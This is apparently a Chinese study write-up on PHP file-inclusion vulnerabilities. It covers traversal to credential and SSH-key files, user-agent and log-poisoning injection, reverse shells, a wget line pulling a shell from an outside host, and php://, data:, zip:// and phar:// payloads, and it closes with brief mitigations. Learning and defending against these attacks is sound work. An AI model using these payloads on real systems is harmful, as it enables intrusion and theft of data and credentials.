WEB-LFI与RFI利用
— 从零开始的笔记(长篇) —
— 本地文件包含&远程文件包含 —
— PHP伪协议利用&文件上传漏洞 —
emmm,从最开始的定义开始吧。
文件包含
PHP的文件包含可以直接执行被包含文件的代码,包含的文件格式是不受限制的,只要正常执行即可。
文件包含分为
本地文件包含
(local file include): 包含服务器本地文件远程文件包含
(remote file include): 包含远程服务器的文件,远程文件包含要求更加苛刻,需要php_ini开启url_allow_fopen 和 url_allow_include(具体情况下面说明)
文件包含PHP函数:
- include():
- include_once():先验证是否已经包含了文件,如果已经包含了,就不再执行
- require():
- require_once():先验证是否已经包含了文件,如果已经包含了,就不再执行
include(),include_once():包含文件时即使遇到错误,下面代码会依然执行
require(),require_once():包含文件时遇到错误,直接报错退出程序
此类漏洞的原理就是include的内容中有我们可控的变量,从而达成我们包含执行我们想要的文件
其造成的危害,从文件泄露,到getshell都有
下面我们分开细说LFI和RFI
本地文件包含LFI
本地文件包含是指只能包含本机文件的文件包含漏洞,大多出现在模块加载、模板加载和cache调用这些地方,有多重利用方式。
先来看一个例子1
2
3
4
$action=$_GET['action'];
include "./$action.php";
以下拼接的利用方式就是最常规的利用方法
再介绍更多的利用方法
本地目录遍历
利用../
来向上级遍历目录从而一层一层地访问所有文件(有权限的话)
打开mysql.php
成功
linux下的一些关键文件:
- ../../../../../../../etc/passwd(操作系统用户信息,该文件为所有用户可见)
- ../../../../../proc/self/environ(proc目录)
- ../../../../../../var/log/apache2/access.log(apache日志,需要包括所有上级目录访问权限)
- 还有其他配置文件(Web服务器配置文件,Web日志)
还有其他
ssh免密码登录的秘钥文件等
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
加密后的用户口令位置
/etc/shadow
历史命令
/root/.bash_history
/root/.mysql_history
进程文件
/proc/self/fd/fd[0-9]* (文件标识符)
检查已经被系统挂载的设备
/proc/mounts
机器的内核配置文件
/proc/config.gz
window下
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysqlmy.ini //Mysql配置
C:/Program Files/mysql/data/mysqluser.MYD //Mysql root
C:/Windows/php.ini //php配置信息
C:/Windows/my.ini //Mysql配置信息
再能读取一些文件的基础上有更多利用方式
/proc/self/environ
/proc文件系统:是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
/proc/self/environ:当前正在运行的进程的环境变量列表
linux环境下建立lfi.php1
2
3
include($_GET['$file']);
访问,查看/proc/self/environ
如图可以看到包含了HTTP头的信息
尝试改变他们
改变成功,也就是说我们可以通过HTTP头控制/proc/self/environ文件
user-agent注入
发现我们可以控制这些值后,如果写入php代码会直接执行,这个地方就形成了命令注入执行
我们选取user-agent变量向其中插入反弹shell木马
连接shell
成功
通过其他参数注入也是可以的
还可以选取<?system('wget http://aaa.com/Shells/shell.txt -O shell.php');?>
来下载文件到对方服务器,直接访问木马文件等。
这个地方选取木马不能选取类似于
eval($_GET['cmd'];
的webshell
因为形成的语句会变为include(../../../proc/self/environ?cmd='ls')
会提示找不到该文件,从而无法包含文件
日志文件污染
日志文件污染是通过将注入目标系统的代码写入到日志文件中。
通常,访问目标系统上的某些对外开放的服务时,系统会自动将访问记录写入到日志文件中,利用这个机制,有可能会将代码写入到日志中。
- 找到日志文件,并且有访问和执行权限(包括所有上级目录访问和执行权限)
- nc提交木马至对方端口,会被写入对方的日志文件
- 包含日志文件执行代码
一般日志文件位置
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
/var/log/apache2/access.log
apache
1.前提有权访问 access.log /var/log/apache2/access.log (包括所有上级目录访问权限)
2.nc提交至对方端口
nc 1.1.1.1 80
<?php php木马 ?>
(木马写入对方日志文件)
或
直接访问页面写入日志文件http://www.xxx.com/php木马(urlencode)
(会被编码,用bursuite绕过编码)
也可以木马写入user-agent来写入日志文件
3.包含对方日志文件
4.url参数 &cmd=命令 执行命令
利用php://filter
利用php://filter可以读取本地文件源码
由于关系到PHP伪协议放在下面详细说明举例
包含SESSION文件
session文件格式为sess_[phpsessid]
,phpsessid作为cookie传递,在服务端文件位置会变化
默认位置
/tmp/(PHP Sessions)
也可能
/var/lib/php/session/(PHP Sessions)
/var/lib/php5/(PHP Sessions)
c:/windows/temp/(PHP Sessions)等文件中。
尝试读取session文件?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
在某些特定的情况下如果你能够控制session的值,也许能够获得一个shell。
包含上传文件
如果你知道上传文件在服务器放置的位置,就可以上传木马文件,然后包含木马文件,这就是文件上传漏洞
+文件包含漏洞
的COMBO
关于可以知道上传文件在服务器的位置的,但是上传文件后缀名等等被过滤了。可以利用上传文件有关PHP伪协议的绕过
,将在之后讨论
还有一种包含上传文件的tmp临时文件,因为往往上传文件会被重点防护,而临时文件不会被关注到。这种攻击方式不容易被防护,其中关键是知道临时文件路径及名称,关于这种攻击由于此文篇幅太长,另起一片叙述基于phpinfo的包含临时文件
远程文件包含 RFI
远程文件包含(RFI)紧密相关的两个php配置:
allow_url_fopen:远程文件打开
allow_url_include:远程文件包含
配置细节请查阅php核心配置
那么开始说明应用
开始前,补充。
php中fopen函数与include函数区别:
fopen与include打开/包含远程文件时,对方服务器都会先解析文件然后被本地php代码 打开/包含。
区别是:
fopen是直接读取这个文件,当做一个输入流,不会在本地做解析。include会包含进入代码内,再解析执行一次。
所以include包含的文件里有木马时,可以执行。fopen打开一个包含木马的文件,不会有什么大危害,因为只是作为文本文件。
再补充本地文件包含与远程文件包含的区别:
include ./shell.php;
include http://localhost/shell.php
以上两者有区别,前者为本地文件包含:如果shell.php文件中存在<?php 木马 ?>
,木马会执行。但如果shell.php 中的木马是在php代码执行一遍过后,才产生的,是不会执行的。
即需要解析一遍shell.php页面,才产生木马。比如从数据库中读取了带木马的信息,嵌入到页面上。
而后者远程文件包含是前后者情况都会执行的:前者情况,会在远程访问shell.php的请求中执行。后者情况,会在远程访问结束后,把包含木马的返回内容include,再次执行。
即,本地文件包含本地文件 总共会解析一次,远程文件包含本地文件 总共会解析两次。
以下测试是在php5.2中完成。
当allow_url_fopen和allow_url_include都为On时
可以进行远程文件包含执行,即可以包含在自己服务器的木马,形成web-shell。
也可以使用wget之类的命令来下载木马,保存,再访问木马文件
1 |
|
data:输入方式
另外还有一种方法是data:
本以为data:可以在allow_url_fopen为Off时可以起作用,测试时发现不可以。应该是data:被当做allow_url_fopen禁止的一项了。
file=data:text/plain,<?php phpinfo()?>
file=data:text/plain,<?php print_r(scandir(“.”));?>
file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
当allow_url_fopen为On,allow_url_include不为Off时
只能进行远程文件打开,比如fopen(url)。1
2
3
4
5
6
7
8
9
10
11
12
13
echo 'allow_url_fopen:'.ini_get('allow_url_fopen');
echo '<br>';
echo 'allow_url_include:'.ini_get('allow_url_include');
echo '<br>';
$url=$_GET['url'];
$file=fopen($url,"r") or die("Unable to open file!");
while (!feof($file)){
$line = fgets($file,1024);
echo $line;
}
当allow_url_fopen为Off,allow_url_include为On时
当allow_url_include为On,而allow_url_fopen为Off的时候,不可以直接远程包含文件
但是可以使用 php://input、 php://stdin、 php://memory 和 php://temp等伪协议
由于php伪协议利用方式多样,我们新开一个篇章说明。但是要知道一些php伪协议的利用前提是allow_url_include为On,具体以官方文档为主
php伪协议 PHP://
先查看PHP官方说明,了解php伪协议
php://input
php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。
需要allow_url_include=On1
2
3
4
5
6
7
8
echo 'allow_url_fopen:'.ini_get('allow_url_fopen');
echo '<br>';
echo 'allow_url_include:'.ini_get('allow_url_include');
echo '<br>';
$url=$_GET['url'];
include($url);#加入此处变为$url.'php' 就无法利用,%00截断测试也无效
php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
不需要allow_url_include=On
格式:php://filter/read=过滤器/resource=来源
关于php://filter有很多过滤器可以使用
但是最经典的用法如下:
php://filter/convert.base64-encode/resource=index.php
read被省略
网页源码1
2
3
4
$action=$_GET['action'];
include "$action.php";
利用php://filter读取同目录下phpinfo.php
php伪协议phar:// zip://
因为这两者性质差不多,就放一起了
phar:// :PHP 归档,不受allow_url_include影响,PHP 5.3.0 起有效
zip:// :压缩流,不受allow_url_include影响
利用在文件包含漏洞+上传文件漏洞
当上传的文件不能以php结尾,被php解析的时候,可以把文件压缩成压缩包,改为.jpg结尾再上传
再通过phar://
zip://
解压缩打开,使用方法如下
zip://使用
把木马文件1.php用zip压缩成1.zip,再修改后缀名为.jpg,绕过上传验证,再进行包含/zip_phar.php?file=zip://D:/php/WWW/php_text/upfile/1.jpg%231.php
协议原型:zip://archive.zip#dir/file.txt 压缩包全路径#目录/文件
在测试中只有绝对路径可行,相对路径不行
另外在URL中需要把#编码,因为#与url协议冲突
测试木马为<?php echo ‘success’ ;?>
phar://使用
先把木马按照phar归档文件生成1
2
3
4
5// 把木马写入phartest.aaa的testfile.text
$p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ;
$p->addFromString('testfile.txt', '<?php phpinfo();?>');
测试相对路径和绝对路径都可以/zip_phar.php?file=phar://./upfile/phartest.aaa/testfile.txt
/zip_phar.php?file=phar://D:/php/WWW/php_text/upfile/phartest.aaa/testfile.txt
解决文件包含问题
- 白名单,限制传入参数
- 过滤传入参数
- 配置opendir,限制打开范围
- 配置好allow_url_fopen,allow_url_include